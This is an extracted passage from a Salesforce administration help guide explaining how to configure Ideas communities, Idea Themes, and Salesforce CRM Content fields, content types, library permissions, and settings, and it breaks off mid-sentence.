Merging Ideas To locate duplicate ideas and merge them together: 1. On the Ideas tab, click the title of an idea that you want to merge. 2. On the idea's detail page, click Find Duplicates. Salesforce searches all the ideas within the community and displays the five ideas with titles that most closely match the current idea's title. 3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for Duplicates field and click Search. Salesforce displays a new list of possible duplicate ideas. 4. From the Possible Duplicates list, select the ideas that you want to merge. To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search results. 5. Click Merge with Current Idea. 6. Select the idea that you want to be the master idea, and click Merge.

1477

Customize

Tips on Using Ideas

7. Click OK to complete the merge.

See Also:
Searching for Ideas Viewing Ideas Posting and Editing Ideas Deleting Ideas

Tips on Using Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Ideas tab: To view and vote for ideas: To create ideas and add comments to ideas: To edit ideas and edit comments on ideas: To create communities: Read on ideas Read on ideas Create on ideas Edit on ideas Customize Application

Consider the following information when setting up and using Ideas: To monitor the activity of Ideas, you can: Create a workflow rule or trigger based on the number of comments an idea receives. You cannot create a workflow rule or trigger based on an ideas vote total or vote count. You also cannot create a trigger that inserts or deletes a comment when the Idea object is updated. For more information, see Creating Workflow Rules on page 1869. Create a custom report based on an idea's vote score or number of comments. For more information, see Creating a Custom Report on page 3071. When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot attach a file or add a note to an idea. Master detail relationships are not supported. Ideas does not support workflow tasks, outbound messages, and approvals. Ideas does not support custom links. The Ideas detail page does not contain related lists. The data export feature archives all your Ideas data with the exception of deleted ideas and deleted comments. You cannot create activities and events for Ideas. When using standard or custom Idea fields, note the following: History tracking is not supported. Field dependencies and roll-up summary fields are not supported.

1478

Customize

Defining Picklist Values for the Categories and Status Fields

Formula fields are not available for the Community object.

Defining Picklist Values for the Categories and Status Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define picklist values: Customize Application

Overview For community members to assign categories to an idea or be able to view an idea's status, the Ideas administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an ideas community and not in an answers community. Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post Ideas page lets users add categories to their ideas. An idea's status helps community members track the progress of the idea. For example, Under Review, Reviewed, Coming Soon, and Now Available are common status values an administrator can define and assign to ideas. An idea's status appears next to the idea's title for all community members to see. Note: If the Category field is displayed (instead of Categories), then your community members can only assign a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on the Your Name > Setup > Customize > Ideas > Settings page. Defining Picklist Values To define picklist values for the Categories and Status standard fields: 1. Click Your Name > Setup > Customize > Ideas > Fields. 2. Click Edit next to the Categories or Status standard field. 3. On the picklist edit page, click New to add new picklist values to the standard field. You can also edit, delete, reorder, and replace picklist values. For more information on these tasks, see Updating Picklists on page 1078. Note: Once you add picklist values to the Categories or Status field, the field will always require at least one picklist value. This means you can delete picklist values until there is one remaining for the field. 4. 5. 6. 7. Add one or more picklist values (one per line) in the provided text area. Select the communities that you want to include the new picklist values. Click Save. To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community on page 1480. Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You can only specify a default value from the Community Detail page.

1479

Customize

Selecting Picklist Values and Defaults for a Community

8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field checkbox on the Your Name > Setup > Customize > Ideas > Fields Layout page. Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For more information, see Posting and Editing Ideas on page 3517.

See Also:
Managing Ideas Ideas Overview Selecting Picklist Values and Defaults for a Community

Selecting Picklist Values and Defaults for a Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or remove picklist values from a community: Customize Application

After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status Fields on page 1479. To add or remove picklist values from a specific community: 1. 2. 3. 4. 5. 6. 7. Click Your Name > Setup > Customize > Ideas > Communities. Click the name of the community. Click Edit next to the Categories or Status field. To remove a picklist value, select the value from the Selected Values list and click Remove. To add a picklist value to the community, select the value from the Available Values list and click Add. To specify a default value for the field, use the Default drop-down list. Click Save.

See Also:
Creating and Editing Communities

1480

Customize

Enabling the Categories Field

Enabling the Categories Field


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Ideas settings: Customize Application

Organizations using the Category field can switch to the multi-select Categories field that allows community members to associate more than one category with an idea. The Category field only allows one category to be associated with an idea. Warning: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field automatically disables the old Category field in Salesforce and the API. When you enable the Categories field, Salesforce automatically does the following: Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that references the Category field. You must manually fix or remove these references before Salesforce allows you to enable the Categories field. Automatically moves all picklist values and search layouts from the old Category field to the new Categories field. Ensures each idea is associated with the appropriate picklist value in the new Categories field. Makes the new Categories field available in Salesforce and the API.

To enable the Categories field: 1. Click Your Name > Setup > Customize > Ideas > Settings. 2. Click Enable located below the Categories message at the top of the page. This button is not displayed if your organization already has the Categories field enabled. Salesforce checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code for references to the Category field and lists any areas where this reference needs to be removed. 3. If you need to remove references to the Category field, click Cancel. Once you have removed the references, try enabling the Categories field again. Note: For validation and workflow rules you must delete the rule or fix the Category reference within the rule. It is not sufficient to deactivate the rule. If you need to delete a custom field that references the Category field, make sure to erase the field after it has been deleted. For more information, see Managing Deleted Custom Fields on page 1126. 4. Read the information in the pop-up window, and click Enable. It may take several minutes for Salesforce to enable the new field.

1481

Customize

Migrating to the Community Application

5. Fix any custom reports that reference the old Category field.

See Also:
Customizing Ideas Settings Selecting Picklist Values and Defaults for a Community Defining Picklist Values for the Categories and Status Fields

Migrating to the Community Application


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Ideas settings: Customize Application

If your organization enabled Ideas prior to the Winter '10 release, we recommend that you migrate to the new Community application. The Community application: Replaces the Ideas application in the Force.com app menu. Includes the Ideas and Answers tabs. Answers is a feature of the Community application that enables users to ask questions and have community members post replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer. Warning: Once you migrate to the Community application, you cannot return to the old Ideas application. The Ideas tab with all your existing data will still be available in the new Community application. To migrate to the Community application: 1. Click Your Name > Setup > Customize > Ideas > Settings. The Community message appears at the top of the Ideas Settings page. If the Community message does not appear, the Community application is already enabled for your organization. 2. Click Enable below the Community message. Salesforce checks your organization for any custom objects named Community. If such an object exists, you must delete or rename the object before enabling the Community app. 3. Click Enable when Salesforce confirms it's okay to migrate to the Community application.

1482

Customize

Customizing Ideas Standard and Custom Fields

Customizing Ideas Standard and Custom Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define picklist values: To set field level security: To define or change field validation rules: To create Ideas custom fields: Customize Application Customize Application Customize Application Customize Application

Administrators can customize Ideas standard and custom fields to meet the needs of an organization's unique requirements: Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the Categories and Status Fields on page 1479. Click the name of a standard or custom field to set field-level security. For more information, see Field-Level Security Overview on page 671. Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 1184. Create a custom field for Ideas. Custom fields appear in the Additional Information section on the Post Idea and Idea Detail pages. For more information, see About Custom Fields on page 1092.

See Also:
Ideas Overview Customizing Ideas Settings

Setting Layouts for Idea Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set the layout of a Ideas custom field: Customize Application

When a custom field is created for Ideas, that field appears in the Additional Information section at the bottom of the Post Idea and Idea Detail pages. To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information section. You can also remove a custom field from these pages without permanently deleting the field from the system. To set the layout of a custom Ideas field:

1483

Customize

Setting Up Idea Reports

1. Click Your Name > Setup > Customize > Ideas > Fields Layout. 2. Click Edit. 3. In the Selected Fields column, select the field you want to move and use the up and down arrows to change the order of the field in the list. The Selected Fields column shows the order in which custom fields appear in the Additional Information section on the Post Idea and Idea Detail pages. 4. To remove a custom field, select the field in the Selected Fields column and click Remove. The field moves to the Available Fields column and no longer appears on the Post Idea and Idea Detail pages. 5. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field checkbox. 6. Click Save.

See Also:
Customizing Fields Defining Picklist Values for the Categories and Status Fields

Setting Up Idea Reports


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments, and votes. Custom report types are the only way to make idea reports available for your usersSalesforce does not provide sample idea reports or a standard report folder for ideas. To create a folder of idea reports for your users: 1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 3270. If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged) ideas will not appear in the report unless you select "A" records may or may not have related "B" records. Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in a report if the Votes object is required. 2. Create a new public folder for idea reports. This step requires the Manage Public Reports permission. For details, see Creating and Editing Folders on page 1354. 3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports folder you created. For details, see Creating a Custom Report on page 3071.

1484

Customize

Idea Themes

After completing these steps, a folder of idea reports will be available to your users on the Reports home page.

See Also:
Ideas Overview Managing Ideas

Idea Themes
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Encourage Collaboration with Idea Themes (3:30 minutes) Idea Themes lets you invite community members to post ideas about specific topics so that members can solve problems or propose innovations for your company. For example, to engage with your community and create excitement around the launch of a new product, you can ask community members to work together to create the products name. Community members collaborate and add ideas to the idea theme, while you monitor their activities as they vote and comment on each others ideas until they find a winner. When you create an idea theme, you can add pictures, videos, and other multimedia content to showcase or explain the idea that youre presenting to the community. You can also view and manage the list of ideas that have been posted to the idea theme.

See Also:
Enabling Idea Themes Creating and Editing Idea Themes Using Idea Themes Managing Idea Themes

1485

Customize

Idea Themes

Enabling Idea Themes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Idea Themes settings: Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Customize > Ideas > Idea Themes > Settings. Click Edit. Select Enable Idea Themes. Click Save. Note: Once you enable Idea Themes, you cant disable it.

See Also:
Customizing Ideas Settings Idea Themes

Creating and Editing Idea Themes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Idea Themes tab: To create Idea Themes: Read on Idea Themes Create on Ideas

You can use the Idea Themes tab in both the application and the console to create and edit Idea Themes for the communities that you manage. 1. Click New Idea Theme from the Idea Themes list view page or click New from the Recent Idea Themes list on the Idea Themes overview page. 2. Select a community for the idea theme and click Continue. 3. Select the idea themes Status. 4. Select a category for the theme. Idea themes must be assigned to a category to appear in the community. 5. Add a title for the idea theme.

1486

Customize

Idea Themes

6. Optionally, enter a description of the theme. Use the HTML editor to format your text or add an image or video. 7. Click Save.

See Also:
Idea Themes Using Idea Themes Managing Idea Themes

Using Idea Themes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Idea Themes tab: To create Idea Themes: Read on Idea Themes Create on Ideas

Click the Idea Themes tab to view, filter, moderate, and create themes from lists. Click Create New View to define your own custom list views. To edit or delete any view you created, select it from the View drop-down list and click Edit. If your organization has multiple communities, we recommend you add Community to your views so that you can see the name of the community associated with each idea theme. Click New Idea Theme from the Idea Themes list view page or click New from the Recent Idea Themes list on the Idea Themes overview page to create a new idea theme. Click to refresh a list thats been updated. Click Edit or Del to edit or delete an idea theme. Note: Deleting an idea theme also deletes the ideas that are associated with it. Conversely, undeleting an idea theme also undeletes the ideas that are associated with it.

See Also:
Creating and Editing Idea Themes Idea Themes Managing Idea Themes

1487

Customize

Idea Themes

Managing Idea Themes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Idea Themes tab: To create and edit Idea Themes: Read on Idea Themes Create on Ideas

From the Idea Themes detail page, you can manage an idea theme and its related ideas. As an administrator, you can perform the following tasks:
Edit, Delete, or Clone an idea theme. Edit or Delete ideas that have been submitted to the idea theme.

Move an idea from one idea theme to another in your communities. When you edit an idea, you can change the name of the idea theme, which removes the idea from the current idea theme and moves it to another idea theme that you select.

Create an idea and post it to the idea theme in which youre working.

See Also:
Idea Themes Creating and Editing Idea Themes Using Idea Themes

1488

Salesforce CRM Content

Customizing Salesforce CRM Content

SALESFORCE CRM CONTENT


Customizing Salesforce CRM Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete content fields: Manage Content Properties OR Manage Salesforce CRM Content To define or change field validation rules: To create, edit, or delete content types: Customize Application Manage Content Types OR Manage Salesforce CRM Content To create, edit, or delete library permissions: Manage Content Permissions OR Manage Salesforce CRM Content Modify content settings: Manage Salesforce CRM Content

Click Your Name > Setup > Customize > Salesforce CRM Content to access the following options for customizing Salesforce CRM Content: Tip: To perform the initial set up of Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1490. Content FieldsCreate, edit, or delete custom content fields. Custom fields allow users to categorize and define content during the publishing process. Validation RulesCreate, edit, or delete validation rules. Validation rules verify that the data a user enters when publishing content meets the standards you specify before the user can save the content. Content TypesCreate, edit, or delete the content type where content fields are assigned. The content type determines the layout of fields in Salesforce CRM Content. Library PermissionsCreate, edit, or delete library permissions. A library permission determines user privileges within a library. SettingsModify Salesforce CRM Content default settings for multi-language support, PDF downloads, content pack creation, or the enhanced document viewer.

1489

Customize

Setting Up Salesforce CRM Content

To create, edit, or delete libraries, assign a new user to a library, or change a user's role in a library, see Managing Libraries on page 292.

See Also:
Creating Libraries Salesforce CRM Content Overview

Setting Up Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete library permissions: Manage Content Permissions OR Manage Salesforce CRM Content To create, edit, or delete content types: Manage Content Types OR Manage Salesforce CRM Content To create content fields: Manage Content Properties OR Manage Salesforce CRM Content To create libraries: Create Libraries OR Manage Salesforce CRM Content To edit or delete libraries: Manage Salesforce CRM Content

Tip: For more detailed information about setting up Salesforce CRM Content, refer to the Salesforce CRM Content Implementation Guide. To set up Salesforce CRM Content for your organization: 1. Enable Salesforce CRM Content by clicking Your Name > Setup > Customize > Salesforce CRM Content > Settings and selecting Enable Salesforce CRM Content. 2. Give users access to Salesforce CRM Content by assigning feature licenses in one of the following ways:

1490

Customize

Setting Up Salesforce CRM Content

To assign feature licenses to users automatically, click Your Name > Setup > Customize > Salesforce CRM Content > Settings and select Autoassign feature licenses to existing and new users. To assign feature licenses to users manually, click Your Name > Setup > Manage Users > Users and click Edit next to the user's name. Select the Salesforce CRM Content User checkbox and click Save.

3. Verify that the Salesforce CRM Content users have the Salesforce CRM Content user permissions enabled. The user permissions include Manage Salesforce CRM Content, Create Libraries, Manage Content Permissions, Manage Content Properties, Manage Content Types, and Deliver Uploaded Files and Personal Content. For more information about these user permissions, see User Permissions on page 574. Note: Users with the Deliver Uploaded Files and Personal Content user permission can create content deliveries from personal libraries. This user permission does not affect the ability to deliver content from shared libraries. 4. Optionally, create a public group with a set of Salesforce CRM Content users. You can save time later by assigning the group to a library rather than assigning several users to the same library individually. See Creating and Editing Groups on page 598. 5. Optionally, create one or more library permissions. Library permissions are the groups of privileges that determine user access within a library. Every user must be assigned a library permission before he or she can use a library. All new organizations contain three library permissions: library administrator, author, and viewer. For more information, see Managing Library Permissions on page 1497. 6. Use the New Library Wizard to create a library, add members to the library, and assign library permissions to the members. See Creating Libraries on page 1504. 7. Categorize and define your content: a. Create content fields. These are custom fields that you assign to a content type. The default fields are Description, Tags, and Title. If you want to create a field named, for example, Reviewed By, your custom content field would be a picklist with the names of possible reviewers. See Customizing Content Fields on page 1492. b. Create a custom content type or modify the General content type. Content types are the containers for custom fields; they determine which fields are available during the publishing process and how the fields display on the content details page. You can create multiple content types and assign a content field to any or all content types. For example, if sales and marketing users need to record different information about their content, you can create Sales and Marketing content types. If you create a Related Campaign lookup field and add it to the Marketing content type only, users who select the Sales content type during the upload process will not have the option to choose a campaign. See Setting Content Types on page 1493. 8. Optionally, enable the Add Google Doc to Salesforce service so library members can contribute Google docs to Salesforce CRM Content. See Activating Google Docs in Salesforce on page 330. To customize Salesforce CRM Content after initial configuration, such as adding new content fields or editing library permissions, see Customizing Salesforce CRM Content on page 1489.

See Also:
Customizing Content Fields Setting Content Types Managing Library Permissions

1491

Customize

Customizing Content Fields

Customizing Content Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete custom fields: Manage Salesforce CRM Content OR Manage Content Properties

Click Your Name > Setup > Customize > Salesforce CRM Content > Fields to create, modify, and delete Salesforce CRM Content custom fields for categorizing and defining your content. The data assigned to these fields during upload is available on the content details page for the life of the file. After creating custom content fields, you must assign them to a content type. The content type determines which fields appear when a user uploads or revises files in Salesforce CRM Content. For more information, see Setting Content Types on page 1493. To create a custom content field: 1. Click New in the Custom Fields & Relationships related list. If you need to create dependent fields, see Defining Dependent Picklists on page 1084. 2. Choose the type of field and click Next. Consider the following. Some data types are available for certain configurations only. For example, the Master-Detail Relationship option is available for custom objects only when the custom object doesnt already have a master-detail relationship. Custom settings allow only a subset of the available data types. Relationship fields count towards custom field limits. Additional field types may appear if an AppExchange package using those field types is installed. The Roll-Up Summary option is available on certain objects only. Field types correspond to API data types. See API Data Types and API Field Types in the SOAP API Developer's Guide.

3. For relationship fields, associate an object with the field and click Next. 4. Enter a field label. Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field from the API. See Merge Fields Overview. Tip: Ensure that the custom field name and label are unique for that object. If a standard and custom field have identical names or labels, the merge field displays the custom field value. If two custom fields have identical names or labels, the merge field may display an unexpected value.

1492

Content Types

Setting Content Types

If you create a field label called Email and a standard field labeled Email already exists, the merge field may be unable to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2. 5. Choose the content type that should display the field as an editable field. 6. For relationship fields, optionally create an associated records related list and add it to page layouts for that object. To edit the related list name on page layouts, click Related List Label and enter the new name. To add the related list to customized page layouts, select Append related list to users existing personal customizations.

Click Edit or Del in the Content Custom Fields & Relationships related list to edit or delete a custom content field. You cannot edit or delete the standard content fields. Deleted custom fields and their data are stored until your organization permanently deletes them or 15 days has elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 1126.

See Also:
Setting Content Types Customizing Salesforce CRM Content

CONTENT TYPES
Setting Content Types
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete content types: Manage Content Types OR Manage Salesforce CRM Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. If multiple content types are available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. To work with content types, click Your Name > Setup > Customize > Salesforce CRM Content > Content Types. You can: Click New to create content types; see Creating Content Types on page 1494. Click Edit to edit content types; see Editing Content Types on page 1495.

1493

Customize

Creating Content Types

Click Del to delete a content type. Click picklists to modify the picklists on any content type. Picklists are customized selection lists that allow users to pick values from a predefined list of entries.

When editing a library, you can choose which content types are visible to library contributors. For more information, see Restricting Content Types on page 1507.

See Also:
Customizing Content Fields Customizing Salesforce CRM Content

Creating Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create content types: Manage Content Types OR Manage Salesforce Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. If multiple content types are available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. To create a new content type: 1. Click Your Name > Setup > Customize > Salesforce Content > Content Types. 2. Click the New button, and then optionally choose a content type to copy. Alternatively, select an existing content type from the list of content types, and then click the Clone button. 3. Enter a name for the new content type. 4. Click Save. For instructions on modifying the content type, see Editing Content Types on page 1495. Note: When editing a library, you can choose which content types are visible to library contributors. For more information, see Restricting Content Types on page 1507.

See Also:
Setting Content Types Customizing Content Fields

1494

Customize

Editing Content Types

Editing Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit content types: Manage Content Types OR Manage Salesforce Content

Content types control the organization and visibility of fields on Salesforce CRM Content upload and detail pages. To edit a content type: 1. Click Your Name > Setup > Customize > Salesforce CRM Content > Content Types. 2. Identify the content type you want to modify and click Edit. 3. To arrange fields on the content type, select one or more fields from the box on the right and drag them to the desired location. Use CTRL+click to select multiple items individually. Use SHIFT+click to select multiple items as a group. Items that are not in the content type are displayed in the scrolling box on the right-hand side. Note: Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may affect your content type decisions. 4. To make a field required, double-click the field name in the box on the left and click the Required checkbox. Note: Even though the Read Only option appears, Salesforce CRM Content fields cannot be read only.

5. Click Save to finish. Alternatively, click Quick Save to save and continue editing the content type.

See Also:
Setting Content Types Creating Content Types

1495

Customize

Customizing Content Picklists

Customizing Content Picklists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change picklists: Customize Application

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. A picklist is a customized selection list that allows users to pick values from a predefined list of entries. To create a new picklist, see Customizing Content Fields on page 1492. To modify the picklists available on content types: 1. Go to Your Name > Setup > Customize > Salesforce CRM Content > Content Types and click the picklists link. 2. Select a content type and click Edit next to one of the picklist fields to customize the values included for the content type. 3. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to choose from the list of selected values when publishing content or editing content details. 4. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent picklist is ignored. 5. Click Save. Note: The master picklist, the complete list of values in a picklist, is independent of all content types. If you add a picklist value to the master picklist, you must manually include the new value in the appropriate content types. If you remove a picklist value from the master, it is no longer available when publishing new content; however, existing content assigned to that value is unchanged.

See Also:
Setting Content Types Editing Content Types Customizing Content Fields

1496

Libraries

Managing Library Permissions

LIBRARIES
Managing Library Permissions
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

Click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions to manage library permissions. A library permission is a group of privileges assigned to each Salesforce CRM Content library member. It determines which tasks a member can perform in a particular library. The same user can have a different library permission in each of his or her libraries. Note: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already has three library permissions: Library Administrator, Author, and Viewer. To create a custom library permission, click the Add Library Permissions button. To edit a library permission, click Edit next to the library permission name. To delete a library permission, click Del next to the library permission name. Note: Library permissions do not apply to personal libraries. All Salesforce CRM Content users can save files in their personal libraries.

See Also:
Customizing Salesforce CRM Content Setting Up Salesforce CRM Content

1497

Customize

Creating Library Permissions

Creating Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

To create a library permission in Salesforce CRM Content, click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions and click Add Library Permissions. Tip: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already has Viewer, Author, and Library Administrator library permissions. If not, consider creating them. These three library permissions provide the different levels of library access required for most organizations. For the Viewer library permission, select the View Comments and Add Comments library privileges. For the Author library permission, select the Add Content, Add Content on Behalf of Others, Archive Content, Add Comment, and Tag Content library privileges. For the Library Administrator permission, select the Manage Library privilege. 1. Assign a name to the library permission. 2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can view and comment on documents. 3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this library permission. Library Privilege
Manage Library

Description Perform any action in the library. This privilege is required to edit the libraries' name and description, add or remove library members, or delete a library. Creating a new library requires the Manage Salesforce CRM Content or Create Libraries user permissions.

Add Content

Publish new content to the library, upload new content versions, or restore archived (deleted) content. Content authors can also change any tags associated with their content and archive or delete their own content. Choose an author when publishing content in the library. Archive and restore any content in the library.

Add Content on Behalf of Others Archive Content

1498

Customize

Editing Library Permissions

Library Privilege
Delete Content

Description Delete any content in the library. Authors can undelete their own content from the Recycle Bin. Identify any content in the library as featured. Read comments posted to any content in the library. Post comments to any content in the library and view all comments in the library. Users can edit or delete their own comments. Edit or delete comments made to any content in the library. Add tags when publishing content or editing content details in the library. Create a content delivery using any files in the library. Make content from this library accessible in Chatter. Within Chatter, select a file from the library and attach it to a post or share it.

Feature Content View Comments Add Comments

Modify Comments Tag Content

Deliver Content Attach or Share Content within Chatter

4. Click Save.

See Also:
Managing Library Permissions Deleting, Archiving, and Restoring Content Customizing Salesforce CRM Content

Editing Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

To edit a Salesforce CRM Content library permission, click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions and click Edit next to the appropriate permission. 1. Assign a name to the library permission.

1499

Customize

Editing Library Permissions

2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can view and comment on documents. 3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this library permission. Library Privilege
Manage Library

Description Perform any action in the library. This privilege is required to edit the libraries' name and description, add or remove library members, or delete a library. Creating a new library requires the Manage Salesforce CRM Content or Create Libraries user permissions.

Add Content

Publish new content to the library, upload new content versions, or restore archived (deleted) content. Content authors can also change any tags associated with their content and archive or delete their own content. Choose an author when publishing content in the library. Archive and restore any content in the library. Delete any content in the library. Authors can undelete their own content from the Recycle Bin. Identify any content in the library as featured. Read comments posted to any content in the library. Post comments to any content in the library and view all comments in the library. Users can edit or delete their own comments. Edit or delete comments made to any content in the library. Add tags when publishing content or editing content details in the library. Create a content delivery using any files in the library. Make content from this library accessible in Chatter. Within Chatter, select a file from the library and attach it to a post or share it.

Add Content on Behalf of Others Archive Content Delete Content

Feature Content View Comments Add Comments

Modify Comments Tag Content

Deliver Content Attach or Share Content within Chatter

4. Click Save.

See Also:
Creating Library Permissions Deleting, Archiving, and Restoring Content Customizing Salesforce CRM Content

1500

Customize

Deleting Library Permissions

Deleting Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

To delete a customized library permission for Salesforce CRM Content: 1. Click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions. 2. Click Del next to the appropriate permission. 3. Review the list of affected users. The delete page shows all Salesforce CRM Content users who are assigned to the library permission in a particular library. If you delete the library permission, the user will lose access to that library. 4. Click Delete Permission to confirm. To assign a new library permission to a library member, see Viewing and Editing Libraries on page 295.

See Also:
Managing Library Permissions Creating Library Permissions Customizing Salesforce CRM Content

Customizing Content Settings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Salesforce CRM Content settings: Manage Salesforce CRM Content

Click Your Name > Setup > Customize > Salesforce CRM Content > Settings to modify the defaults for your Salesforce CRM Content organization: Enable Salesforce CRM Content If this option is checked, Salesforce CRM Content is enabled for your organization.

1501

Customize

Customizing Content Settings

Autoassign feature licenses to existing and new users If this option is checked, Salesforce.com automatically attempts to assign Salesforce CRM Content feature licenses to all existing users. If there aren't enough licenses available, no licenses are assigned. Contact salesforce.com to request additional feature licenses. When a new user is created, a Salesforce CRM Content feature license is automatically assigned as long as licenses are available. A feature license corresponds to the Salesforce CRM Content User checkbox on the user detail page. Enable multilanguage search and contribute If this option is checked, a Language drop-down list is available when users publish, edit, or search for content. The Language drop-down list contains all languages that Salesforce supports. If a user does not choose a language when publishing content, that content is associated with the user's personal language by default. If the user's personal language setting is different from the organization's language, content published by that user is associated with the user's language, not the organization's language. Do not open PDFs in a separate window If this option is checked, downloaded PDFs open inline. If it is not checked, downloaded PDFs open in a separate window. To download a PDF file: Open the document's content details page and click Download. On the Content tab, hover over the PDF icon and click Download in the popup window. On the Content tab, select the PDF's checkbox and click Download.

Enable content pack creation If this option is checked, the Create New > Content Pack option displays on the Libraries tab and users can create content packs from any documents or files in their Salesforce CRM Content private or public libraries. If this option is not checked after users in your organization have already created content packs, those packs are not deleted and users can continue to modify metadata such as description, title, and custom fields. However, once content pack creation is no longer enabled, users cannot customize or modify existing packs. Specifically, the Clone & Customize button and the Edit > Edit Content Pack option on the content details page are unavailable. Enable enhanced document viewer If this option is checked, an enhanced set of navigation and customization options are available for the document viewer. The document viewer allows users to preview a document without downloading, whether the document be a content delivery sent to a lead, prospect, or colleague, a document viewed internally in Salesforce CRM Content, or a file in Chatter. The document viewer has three modes: the Preview tab on the content details page (preview mode), the content delivery URL (delivery mode), and full screen mode, which displays when you click the full-screen option on the content details page or in a content delivery. In Chatter, users can preview files in feeds, on file lists, and on the Files tab. The Enhanced document viewer setting provides the following capabilities to users who are viewing documents: In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page. The right-click menu is not available in preview mode. You can jump directly to a page by 